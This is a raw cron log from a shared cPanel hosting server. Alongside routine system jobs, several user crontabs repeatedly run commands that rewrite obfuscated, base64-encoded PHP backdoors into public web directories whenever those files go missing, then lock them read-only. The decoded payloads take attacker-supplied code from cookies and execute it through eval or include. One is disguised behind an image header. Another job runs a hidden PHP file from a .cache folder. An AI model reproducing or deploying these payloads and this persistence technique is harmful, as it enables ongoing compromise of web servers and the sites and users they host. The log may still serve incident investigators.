Mar  2 15:06:02 medusa CROND[683]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:06:02 medusa CROND[682]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 15:06:02 medusa CROND[684]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:06:02 medusa CROND[686]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:06:02 medusa CROND[692]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:06:02 medusa CROND[693]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:06:02 medusa CROND[694]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 15:06:02 medusa CROND[702]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:06:02 medusa CROND[706]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 15:07:01 medusa CROND[15820]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 15:07:01 medusa CROND[15860]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:07:01 medusa CROND[15862]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:07:01 medusa CROND[15865]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:07:01 medusa CROND[15863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:07:01 medusa CROND[15861]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:07:01 medusa CROND[15867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:07:01 medusa CROND[15868]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:07:01 medusa CROND[15871]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:07:01 medusa CROND[15870]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:07:01 medusa CROND[15873]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:07:01 medusa CROND[15877]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:08:01 medusa CROND[31927]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 15:08:01 medusa CROND[32058]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 15:08:01 medusa CROND[32056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:08:01 medusa CROND[32057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:08:01 medusa CROND[32059]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:08:01 medusa CROND[32060]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:08:01 medusa CROND[32062]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
